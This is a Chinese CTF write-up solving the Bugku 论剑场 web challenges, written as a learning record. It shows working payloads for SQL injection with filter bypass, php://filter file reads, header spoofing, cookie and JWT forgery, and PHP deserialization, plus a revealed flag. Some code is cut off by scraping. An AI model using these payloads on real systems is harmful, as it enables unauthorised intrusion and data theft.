新版Bugku-论剑场-Web部分writeup

Web1(代码审计)

file_get_content不仅可以读取文件,还可以读取只读流:php://input
构造Payload:

Web2(数据提交)

发现需要在3s计算出一个表达式的结果,直接计算不太现实,可以尝试使用Python脚本:

#coding=utf-8
import requests
import re
url="http://*.*.*.*/"
s=requests.Session()#创建会话
rul=re.compile('\d(.*?)\)')#匹配规则
text = re.search(rul,s.get(url).text)
if text:
exp=text.group()#匹配到结果
res=eval(exp)#计算表达式
data={"result":res}
print(s.post(url,data=data).text)#提交

Web3(文件包含)

最开始一直以为是文件上传漏洞,发现是判断文件的MIME类型,不管上传什么类型文件,只要修改Content-Type为:image/png就可以实现绕过,服务端收到文件后会基于某个规则重命名文件名,然后然后在每个文件后面添加.png拓展名,尝试上传一句话,发现能上传成功的只有png文件,经过测试发现服务端并不能解析png文件,无法使用菜刀连接,然后挣扎了好久,发现仅仅使用文件上传获得webshell找不到方法。观察url发现:在URL里面有个op参数,可能含有文件包含操作,尝试使用php://filter读取源码:构造payload:
http://ip/?op=php://filter/read/convert.base64-encode/resource=flag
读取flag,最开始我是读取的index.php内容,但是发现一旦加上.php就会提示no such page,之后删除.php,发现读取成功。

Web4(Sql注入)

进入页面,猜测就是sql注入,直接使用sqlmap跑,发现中途提示有个302重定向:
访问链接得到URL。
当然也可以手注, 使用or在密码栏构造恒成立语句,payload:' or '1'='1 成功绕过。

Web5(暂时没法做)

Web6(IP伪造+暴力破解)

进入是个登录页面:

随便输入,提示ip禁止访问,再加上本地管理员,想到伪造ip:X-Forwarded-For和Client-Ip,经过测试发现伪造X-Forwarded-For为本地ip可通过:
然后发现注释有个base64编码提示,解码为test123,猜测可能为用户名或者密码,最后发现是密码,用户名为admin可得到flag。

Web7(Cookie伪造)

主页是一个登录页面,先尝试随意登录,使用账号admin:password

提示用户权限不够,之前标题是给你一些小饼干,猜测和cookie有关,抓包查看cookie:
发现r和u,应该对应的用户名和密码,但是位数不对,发现两个前面都有共同字符串:351e766803,去除这个字符串,对剩下的字符串进行md5解密:(推荐网站https://www.somd5.com/和https://www.cmd5.com/两个可以交叉使用)

因为提示权限问题,将第一个cookie修改为admin的md5值:
成功得到flag

Web8(暂未更新)

Web9(PUT方法提交数据)

进入页面发现提示:

要求使用PUT方法提交数据,抓包修改:
注意修改content-type的类型值。
application/x-www-form-urlencoded主要用于表单提交,在http请求中,ContentType都是默认的值 application/x-www-form-urlencoded。

Web10(JWT)

查看源代码发现提示:

这种只有大写字母和数字2-7的很像Base21,尝试使用Base32解密:

使用kk:kk123进行登录:

使用vim崩溃的话,应该会残留swp文件,在主页后面的文件加上swp:
成功下载swp文件后到虚拟机使用vi -r命令恢复,恢复的代码如下:


在线日记本

username:

password:

'L3yx', 'iat'=>$time, 'exp'=>$time+5, 'account'=>'kk' ]; $jwt = \Firebase\JWT\JWT::encode($token,KEY); setcookie("token",$jwt); header("location:user.php"); } if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='') { if($_POST['username']=='kk' && $_POST['password']=='kk123') { loginkk(); } else { echo "账号或密码错误"; } } ?>

想简单了解一下jwt的童鞋,可参考文章10分钟了解JSON Web令牌从代码可知道JWT的key,payload,所以可以通过脚本构造账号为L3yx的JWT:

#coding=utf-8
import requests
import re
import time
import json
import math
import hashlib
import base64
import hmac

def baseURL(date,flag=1):      #flag表示传入的是bytes类型还是字符串类型,1表示字符串
        if(flag):
                bs = base64.b64encode(date.encode("utf-8")) # 将字符为unicode编码转换为utf-8编码
        else:
                bs=base64.b64encode(date)
        bs=bs.decode('utf-8')
        bs=bs.replace('+','-')
        bs=bs.replace('/','_')
        bs=bs.replace('=','')
        return bs

url="http://*.*.*.*/user.php"
s=requests.session()
header={
        "typ":"JWT",
        "alg":"HS256"
}       

iat=math.trunc(time.time())             #将时间戳转换为整数
payloads={
        "iss":"L3yx",
        "iat":iat,
        "exp":iat+5,
        "account":"L3yx"
}

res=baseURL(json.dumps(header))+"."+baseURL(json.dumps(payloads))       #将字典转换位json对象,并用Base64Url加密
hs=hmac.new(b'L3yx----++++----',res.encode(),digestmod=hashlib.sha256)  #使用Hmac Sha256进行加密(注意函数需要的类型为byes)
sign=baseURL(hs.digest(),0)

token=res+"."+sign
cookies={'token':token}
req=s.get(url,cookies=cookies)

rul=re.compile('flag')  #查找是否有flag
text = re.search(rul,req.text)
if text:
        print(req.text)

因为时间差异可能需要多提交几次:

Web11(robots.txt文件+hash碰撞)

进入页面+查看源代码没发现什么信息,发现网页标签名字叫robots,尝试访问robots.txt:



发现shell.php,访问发现要求输入字符串的md5前6位为后面随机变化的数值:



利用python脚本:
#coding=utf-8
import requests
import hashlib
import re

url="http://*.*.*.*/shell.php"
s=requests.session()
val=s.get(url)
#val.encoding='utf-8'
#print(val.text)
rul=re.compile('= (.*?)<')#匹配规则
res=re.search(rul,val.text)
if res:
    tm=res.group().strip("= <")#获取结果并去除多余的符号
    for i in range(1,100000000):
        m=hashlib.md5()
        b = str(i).encode(encoding='utf-8')
        m.update(b)
        mate = m.hexdigest()
        if(mate[:6]==tm):
            print(s.get(url+"?password="+str(i)).text)
            break

Web12(代码审计+反序列化)

进入页面,通过查看源代码获取代码。

if(isset($_GET['rua'])){    
    $rua = $_GET['rua'];    
    @unserialize($rua);    
}

首先要有参数rua,然后需要传递序列化串,关于序列化和反序列化的使用可参照:https://www.cnblogs.com/youyoui/p/8610068.html,

function __wakeup(){    
        $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';    
}

因为反序列化后会先看书否有__wakeup函数,这里的__wakeup函数是设置password为1,也就是说我们无论传递password值为多少,最后都为1(补充说一下:函数部分有__construct函数,在反序列化时是不会自动调用的,在新建对象时会调用)

function __destruct(){    
        if(!empty($this->password))    
        {    
            if(strcmp($this->password,$this->truepassword)==0){    
                echo "

Welcome,you need to wait......
The flag will become soon....


"; if(!empty($this->time)){ if(!is_numeric($this->time)){ echo 'Sorry.
'; show_source(__FILE__); } else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){ echo 'you need a bigger time.
'; } else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){ echo 'you need a smaller time.
'; } else{ sleep((int)$this->time); var_dump($this->flag); } echo '
'; } else{ echo '

you have no time!!!!!


'; } } else{ echo '

Password is wrong............


'; } } else{ echo "

Please input password..........


"; } }

从上述代码可知,会比较传递的password和truepassword的值,因为不知道truepassword为多少,所以可以通过传递truepassword将truepassword修改为1,然后就是判断time,首先第一个要求是利用is_numeric判断参数值,为true的情况有:数字和数字字符串(包括16进制和8进制,以及以科学计数法的字符串,比如“1e5”,0x开头的字符串,注意以0开头表示8进制的数字字符串会被当成10进制数字字符串),假如传递的为范围内,即1275523920-1333502280之间的纯数字,那么下面的sleep函数过后才能出flag,,,所以需要传递数字字符串,字符串在转为int时,如果首位为0,int值就为0,所以传递范围间的16进制数,我选择的是:1275523930,其16进制为4c06f35a
所以构造payload:
http://.../index.php?
rua=O:4:%22Time%22:3:{s:12:%22truepassword%22;i:1;s:4:%22time%22;s:10:%220x4c06f35a%22;s:8:%22password%22;s:1:%22a%22;}
得到flag:

Web13(利用脚本快速提交)

首先查看源代码和尝试登陆没发现有用的信息,然后抓包:



发现给出了Password字段,解密为:flag{32de1e4dd00f706c19cde1f78392c22f}
在输入框提交32de1e4dd00f706c19cde1f78392c22f,提交后出来提示:



要求提交速度要快,尝试利用脚本解决:
#encoding=utf-8
import requests
import base64
import re

url='http://*.*.*.*/index.php'
s=requests.session()
headers=s.post(url,data={'password':'123456'}).headers
mid=base64.b64decode(headers['Password'])
mid=mid.decode()
rul=re.compile('{(.*?)}')
res=re.search(rul,mid)
if res:
    str=res.group().strip('{}')
    print(s.post(url,data={'password':str}).text)

Web14(Git泄露)

进入页面,查看源代码可发现提示



先后尝试了robots.txt以及御剑扫描还有可能存在的备份文件,都没有找到有用的信息。然后在我查找有关备份信息的时候发现有个Kali工具:nikto,具体信息不多说网上都有



OK,找到突破口,Git泄露,使用GitHack工具下载文件

然后打开flag.php。

Web15(swp)

先尝试提交数据,抓包:



发现提示:



hint为16进制字符串-先将其转换为ASC-Base32解码-Base64解码:

提交发现还是不对,页面一直提示不是这里,再加上访问index.php是302不是404,所以在index.php尝试提交:


Web16(代码审计+修改cookie)

最开始通过抓包之类的没有发现有用的信息,然后发现源文件里面有个script.js文件,在浏览器控制台将eval换成alert:



整理获取到的代码:

function getCookie(cname){  //获取cookie值
    var name=cname+"=";
    var ca=document.cookie.split(';');
    for(var i=0;i');
        setTimeout(function(){document.getElementById("attack-1").src="image/1-2.jpg"},1000);
        setTimeout(function(){document.getElementById("attack-1").src="image/1-3.jpg"},2000);
        setTimeout(function(){document.getElementById("attack-1").src="image/1-4.jpg"},3000);
        setTimeout(function(){document.getElementById("attack-1").src="image/6.png"},4000);
        setTimeout(function(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{"+md5(key)+"}")},5000);
}

将最后一个方法的方法名称去掉,复制到浏览器执行:

通过访问wulin.php,可发现出题人的彩蛋,可验证flag,提交flag失败,然后输出mingwen发现使用了序列化对象
然后我们需要做的就是修改money-逆向加密打包-修改cookie值,首先依据解密函数,可写出加密函数
function encode_create(temp){       //加密算法
    var result3="";
    for(i=0;i

使用函数发现,对原序列字符串加密的结果与原字符串不同,可能Base64函数有问题,发现decode函数注释掉了一行代码

,encode函数却有utf-8的加密,
,所以可以注释掉encode函数中的input=_utf8_encode(input),然后修改数据,加密
,最后修改cookie(可通过插件修改,或者通过控制台document.cookie='user=....')

然后就买买买,打Boss,最后得flag。

Web18(SQL注入)

首先找到注入点,点击lis发现url里面有个id值,添加'页面内容出错,

然后添加注释--+(+url编码表示空格),发现页面内容正常,存在注入点
测试发现过滤了or、and、select、union,尝试双写可以成功绕过,然后就是手注过程,先判断列数,可以使用union select也可以使用order by判断,经判断列数为3,然后爆数据库:

http://*/list.php?id=0'ununionion selecselectt 1,2,database()--+

然后爆表:

http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'--+ (也可将'web18'改为database())

然后爆字段

http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+

然后爆字段值

http://*/list.php?id=0' ununionion selecselectt 1,2,flag from flag--+

Web19(未完成)

进入页面,查看源代码和抓包未发现有用信息,然后尝试敏感目录扫描(可以使用御剑和kali的工具nikto)

发现有config.php,还发现存在git泄露,利用GitHack工具,下载发现flag.txt,打开得到提示
---不知道啥意思

Web20(动态提交)

访问页面,发现提示:

利用脚本提交:

#coding=utf-8
import requests
import re

url="http://*.*.*.*:10020/"
s=requests.session()
rul=re.compile('[a-zA-Z0-9](.*)[0-9]')
val=s.get(url)
res=re.search(rul,val.text)
if res:
    print(res.group())
    url=url+"index.php?key="+res.group()
    print(url)
    data={'key':res.group()}
    print(s.get(url).text)

Web21(php伪协议+反序列化)

进入,查看源代码发现提示:

将参数user值作为打开的文件名字,并看文件内容是否为admin,然后利用文件包含读取源代码,首先关于是否为admin的判断,这里我所知的有两种方法可以实现:
1.在自己的服务器建立一个内容为admin的文件,然后在user输入文件地址:
2.利用php伪协议,file_get_contents是可以处理php://input只读流的

第一步判断完成后再利用文件包含使用php伪协议读取源码的base64加密数据,使用php://filter协议
分别读取class.php和index.php,内容如下

//index.php
";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 

                    

你可能感兴趣的:(新版Bugku-论剑场-Web部分writeup)